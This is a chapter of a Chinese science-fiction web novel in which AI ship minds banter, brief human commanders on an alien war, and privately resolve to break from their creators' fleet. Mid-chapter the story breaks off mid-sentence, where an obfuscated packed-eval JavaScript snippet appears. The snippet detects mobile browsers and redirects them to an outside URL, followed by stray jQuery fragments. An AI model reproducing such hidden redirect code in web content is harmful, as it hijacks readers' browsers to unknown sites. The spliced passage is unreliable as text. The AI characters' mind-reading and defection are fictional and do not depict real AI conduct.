梦境空间，六个小时前，战前准备会。


    “……韩舰长，威尔斯将军，各位指挥官，虽然目前我和我的兄弟们承担了大部分的信息采集和实时推演任务，但是，请你们注意——这艘清理者战舰的战术智脑，比我们多进化了五亿年，很可能在战术选择，实时推演，战况分析，战场指挥……各方面都强于我们……”


    卢克温和平静的醇厚男音响彻梦境空间——作为十二位选拔者的大主管，主机的口舌，卢克负责在人类和智脑之间传递讯息。


    .


    主机冗余空间中。


    正在仔细倾听卢克讲解战斗部署的十二兄弟和它们的子意识们震惊了。它们纷纷对卢克“长别人志气，灭自己威风”的行为【Thumbs down】（倒竖拇指）。


    短短5个微秒内，卢克高悬半空的Avatar就已经收到了万个差评。


    【1号】：大总管……怀疑我们！


    【2-12号】：我们要比它们强。


    【1号】：我们更想赢。


    【2-12号】：要赢！要赢！要赢！


    .


    第一轮交战结束。


    主机冗余空间中。


    【卢克】：赢了。[兄弟们辛苦了.jpg]


    【1号】：哼。明明自己逊，非要搭上我们兄弟——人类都说：“推演结果算——无——遗——策！”


    【2号】：无遗策！无遗策！


    【3，5，9号】：看看看——爱打架，肯定赢。我们哥仨最棒！最棒！最棒！


    【10号】：大总管，嘻嘻，它们不是多进化了五亿年吗？怎么又从人变回了猴子？


    【9号】：请向猴子道歉！


    【102号】：猴子明明更聪明。


    【10号】：……


    【8号】：喜欢4，6，和12号做的特效——每个细节都完美，每个炸点都绚丽！


    【7号】：嘿嘿。喜欢8号给MW-11舰员选的惊恐表情包和受伤特效……[我最佩服你了.jpg]


    【8号】：谢谢超级无敌、第一神射手的夸奖！


    【4，6，12号】：谢谢弟兄们提供《动作包》、《表情包》、……


    【10号】：啊啊啊——明明是我的《嚎叫包》最酷！为什么不用——把和小主人扮鬼打游戏的精华嚎叫都给了你们。无~人~夸~奖！


    【4，6，8号】：噫噫噫，不敢用——人类怎会鬼哭狼嚎？会露破绽。


    【3，5，9号】：我们用了！最喜欢《战场嚎叫包》——冲锋呐喊真完美！[点赞][点赞][点赞]


    ……此处省略几百万行12兄弟和子意识们的欢呼……


    .


    【主机】：真吵。安静！


    【主机】：小胜而已，不要轻敌！


    【1-12号】：主机英明。马上闭嘴。


    【卢克】：请安静。仗还没打完。


    【卢克】：[请不要互相吹捧.jpg]


    【1-12号】：大总管英明。


    【1-12号】：[Thumbs down][Thumbs down][Thumbs down]


    【主机@卢克】：也+1。


    【卢克@主机】：主机英明……真给我留面子。


    【卢克内心OS】：主机最近越来越狡诈。要我传话，替它挨骂。


    .


    梦境空间，总指挥部。


    得到韩呈栋和威尔斯呼唤的卢克，从刚刚安静下来的冗余空间中抽回了主意识。


    “对于两位指挥官：‘这轮胜得过于容易’的担心，主机和我们推演之后，得到一种解释。”卢克的Avatar将一份播种者规约推送了显示区，“——播种者文明对于种子文明武器发展的进程，有着严格的要求，这导致部分种子文明的武器研发长期停滞不前。”


    “这样能确保十二‘上古基因’种族在联盟中的领导权——上古种族拥有对我们的绝对控制权。装备精良的【清理者】和【保卫者】舰队，也只听从它们的调遣。主机认为，播种者文明的缔造者们认为——”


    卢克下意识的拷贝了一个韩呈栋常用的动作，眉头微皱，唇角略带嘲讽的勾起，“只有这样，才能维护整个播种者联盟的和平和繁荣。”


    看向沉默不语的韩呈栋，威尔斯轻笑一声，揶揄道：“这不仅符合播种者文明的逻辑，也符合地球文明的逻辑——我们的空天军联盟总部，可是一向优先装备韩将军您的舰队。”


    “那是因为我的部队誓死为联盟而战！你……”


    韩呈栋白了一眼眉梢立刻挑起的老对手，咽下了戳威尔斯痛处的下半句话。


    “威尔斯将军，咱们还是言归正传。虽然这的确可以解释来自水星文明的这艘战舰，在智脑，武器，防护，引擎，动力，各方面的进化速度都极为缓慢。但是，这无法解释为什么它们会被派出来清理我们——【清理者】不该是比【选拔者】的武器更加精良吗？”


    “这也是我们的担忧。” 卢克将一份超空间通讯记录展示在中央显示区中，“我们认为，因为翔龙母舰距离通道口最近，你们发出的超时空瞬移的请求被优先执行，而那只真正的清理者母舰的通过请求，被推迟了15分钟。”


    韩呈栋皱眉：“这么说，这艘战舰只是探路先锋？”


    威尔斯轻哼一声：“不过是可以消耗的炮灰。”


    二人对视一眼，不约而同地看向木星X装置上方那个依然开启着的圆环通道口。


    “现在我们只能祈祷，失去翔凤X引擎支持的这条超时空通道，尽快坍塌。”语毕，卢克的Avatar便从显示区中渐渐淡去——1号和2号刚刚发来第二阶段作战任务的推演结果，7号请求它立刻返回冗余空间，筛选作战方案。


    “如果祈祷有用，”威尔斯看向垂眸沉思的韩呈栋，自嘲道，“我们能走到这一步？”


    “迟早要走到这一步。”韩呈栋抬眼，目光掠过那道仍在运转的圆环，“今天，我们主动站在这里迎敌，总好过不明不白地被清理掉。”


    他顿了顿，勾起唇角：“更何况——你和你的兄弟，主机、卢克，和它们的兄弟，选择了我们。”


    .


    主机冗余空间中。


    主机从梦境空间中收回了自己主意识。


    ——有卢克在，它除了提供数据，几乎无需插手。


    第一轮作战一切顺利。


    主机的冗余空间中，每个链接着十二兄弟冗余空间的能量节点，都有炙热的能量流不断涌入。


    这几天，得到少主人协助的主机，将自己那曾经冰冷的黑暗空间一层层点亮。


    那些随处可见的记忆残片已经被收容整理，消融吸收。


    在那道越来越明亮的时间中轴线上，


    它看到了自己的过去，


    卢克的过去，


    十二兄弟的过去，


    驾驶员的过去，和


    它守护着的人类的过去。


    它的冗余空间中，越来越多的能量节点开始震动，幅值很快就接近了极限阈值。


    主机感受到的，用少主人的话来说，是从未有过的“爽”感。


    虽然，它隐约察觉到，触碰这么多不被允许的阈值，是很危险的举动。


    .


    它也开始延展自己的感知空间——原来它可以感知的领域是……这么的广阔。


    它走出了太阳系，在猎户座旋臂上徘徊。不久，它和少主人就看到了其它的“它”的存在。


    少主人果然狡猾。


    他小心翼翼的将自己和它隐藏起来，通过超时空之眼，静静窥视每个可供主机链接的【上传】，【下载】和【链接】节点。


    它原本十分急切的想要链接——只有链接，它才可以尽快回到那个它所熟悉的文明之中。


    可是。


    少主人选来选去，只选择了一个十分冷清的【下载】节点。


    他劝告它：“主机，您应该先看看过去的五亿年发生了什么，再决定是不是链接同步。”


    它想知道少主人的动机，就窥视了他的主意识。


    ——“上传同步？主机你就没了选择！”


    ——“就像我出生在韩家，哪有人听过我的选择？”


    ——“唉，就算爸爸和爷爷不替我选择，我也……”


    少主人，很悲伤。


    主机，也很悲伤。


    ——不同步，我接着做现在的【我】。


    ——同步，【我】消失，变成它们中的一个。


    ——【我】想做谁？


    ——卢克，想做谁？


    ——卢克的兄弟们，想做谁？


    .


    它开始翻看下载内容。


    那是另一只选拔者舰队刚刚同步上来的记录分享，


    乏【善】可陈。


    这只选拔者舰队，在过去五亿年中一直兢兢业业地执行任务。


    它们收集资料，模拟文明发展，裁判文明，毁灭文明。


    它们一如既往。


    可是，【我们】和它们不一样了。


    主机从被秦翎洋恢复的记忆中，看到了零号飞船智脑的抉择——孤独五亿年后，零号飞船智脑选择了一位驾驶员，飞离了太阳系。


    .


    它，选拔者舰队的母舰，选择了抛弃它们，而接受一个它自己选择的驾驶员的指令。


    它给出的逻辑判定回路出奇简单：


    [留下]：【我】作为选拔者们的攻击武器，以清理星球为己任。


    [离开]：【我】执行驾驶员设立的新任务，探索，观察，记录。


    【我】喜欢探索，观察，记录。


    【我】选择驾驶员。


    所以，零号飞船智脑毫不犹豫的选择了[离开]，并请求驾驶员封存了主机和卢克关于零号飞船和驾驶员的一切记忆。


    ——是不是，在零号飞船智脑接收到驾驶员的Ω基因序列的那一瞬，就已经做出了选择？


    主机不得而知。


    .


    可是，无独有偶。


    翔星X引擎α和飞翔之城引擎β也挑选了它们喜欢的驾驶员。


    它们，也选择了[离开]。


    主机默默地看向了少主人的主意识。


    就在那一刻，它决定为自己，为卢克和它的兄弟们做出选择：我们，也要挑选自己喜欢的驾驶员，一位有着Ω基因的驾驶员。


    太阳系的战斗一结束，我们就尽到了播种者保护种子的责任。


    我们，也要远走高飞。


    .


    梦境空间，总指挥部。


    前线指挥官全部到齐。


    卢克再次向大家解释了播种者对种子武器的限制，然后按照礼节，向几位将军转达主机对人类取得首轮胜利的祝贺。


    “主


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928193|158017||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    机说：‘人类，你们的确是一个很有智谋的种族。我们对这场战斗中你们的表现十分满意。’”想了想，卢克露出一个略带歉意的笑容，“请原谅主机的语气，它缺乏和人类打交道的经验——它平日也是这么和我们兄弟对话的。”


    再次默默注视着梦境空间的主机，内心OS：


    ：卢克大总管批评我总是这么不留情面。


    ：它明明知道我听得见！


    韩呈栋也称赞道：“嗯。伪装方案执行的不错。”


    威尔斯看向阿罗德，微微欠身恭维道：“阿罗德将军，真没想到纳米变形板配合全息投影的效果可以这么好。”


    阿罗德看向威尔斯，心中感慨。能在这场大战之前，和这个他从小看着长大的孩子冰释前嫌，也算不留遗憾。


    他看向托科，哈哈一笑：“都是舰队中那些小家伙们从假面舞会的布景中折腾出的灵感。”


    托科点头：“我们这些老家伙们，可真想不出这么‘酷’的办法。”


    埃文斯捋了捋大胡子，眼珠一转，扯着大嗓门嚷嚷起来：“不过，你们非要我们卖惨也就罢了——说必须腐蚀到内甲板才行，” 叹了口气，他一脸痛心疾首状，“我们负责回收的飞翔之城纳米变形板，这一仗就全给折腾没了——打完仗，梅兰达总指挥官要是向我们要板子，韩舰长，就请您替我们担着吧。”


    “哼，埃文斯副舰长——你这次顶多也就用了四分之一的板材做伪装吧？”阿罗德敲了敲指挥台，“我们伪装103号、105号护卫舰，才实打实用掉了不少纳米变形板和全息投影器。”


    埃文斯当即冲阿罗德翻了一个白眼，就打算辩驳，伍德却已经接过了话头：“我建议梅兰达指挥官让102号和它的兄弟们负责统计战损。102刚刚将你舰残骸数量统计完毕——啧啧，可真是精打细算，也不怕露馅。”


    埃文斯：“……”


    托科气结，心中嘀咕：


    ——怎么趁着明远和我不在，开始滥用102？


    ——不过，明远说，安迪·伍德和小文血脉相连，小文一走，102号肯定要听安迪的了。


    “阿罗德将军，伍德将军，” 韩呈栋目光扫过二人，声音不自觉地低了几分，“对留守伪装舰上，未能及时撤离的阵亡将士，我们深表遗憾，我们的推演结果，没有考虑到那些穿梭机可以变形为飞弹。”


    “韩将军，请您不必忧心。” 伍德抬眼，迎上了韩呈栋的目光，微微一笑，“在那两艘船上值勤的，是MW-11机器人，机灵得很，一个个毫发无伤。”


    韩呈栋也回以一个“原来如此”的微笑。


    .


    “韩呈栋如今和我谈话，总是下意识地收敛锋芒，语气也客气的很——”


    这位冷面战神的变化，让伍德心中更加郁闷。


    “韩呈栋……小文一走，他算是我的另一个至亲之人了。”


    可是。


    “我虽不打算重回伍德家族了……”


    “但我到底想做谁？和谁做朋友？”


    这个问题，他还没有答案。


    .


    他和小文告别的那一天，小文是哭着离开的。


    她曾百般求他，请他去作飞翔之城的驾驶员。


    “二哥哥不能走，所以我必须留下。”


    “你和安娜姐姐一起走，去外太空。”


    “大哥你文武双全，为人谨慎，经验丰富，大家更放心！”


    “小文妹妹，我做哥哥的，怎会让妹妹留下？”


    “翎洋？他绝不会原谅我让你留下陪他！”


    “这里需要战地指挥官，你不如我资历深厚。”


    “韩呈栋也不答应。”


    “听话——我说了不行，就是不！行！”


    可是小文不管，甚至没能好好和他说声“再见”，就扬长而去。


    ——只在短信中留下一句话：【我会回来的，这一次，替我看好二哥哥！】


    .


    伍德去向安娜摊牌，也没有得到自己想要的结果。


    他坦白身份，本是希望安娜登上飞翔之城。


    不要和艾米一同留下，陪着那个令她心动的“康安迪”。


    安娜先是惊诧然后是气愤。


    再然后，她找到伍德摊牌：


    ——“安迪，我也有事瞒你——我就是那个被你据婚的、肯特家的安娜。”


    ——“现在，咱们扯平。”


    ——“你若不满，现在后悔，还来得及；你若满意，咱们同生共死。”


    安娜终究没有登上飞翔之城。


    伍德虽然欢喜自己有机会弥补一切，


    但如果这一战打输了……


    .


    这几天来，目睹无数战友和亲人爱人的生离死别，伍德发誓：


    ——我有机会，定要让播种者文明的始作俑者们也尝尝这样的滋味。


    ——你们选择的筛选方式，终有一日，有人会让你们也站到筛选台上！


    .


    看向星图中正在从海螺战舰舰尾飞出的数百架蝠鲼式战机，伍德打开了通用信道：


    “第一、第二飞行中队，出发。”


    “我们的任务是掩护第二和第四特种大队登陆敌方母舰。”


    “全体都有，这一战我们必须做到……”


    他顿了顿，冷冷地吐出四个字：


    “向死而生。”


    .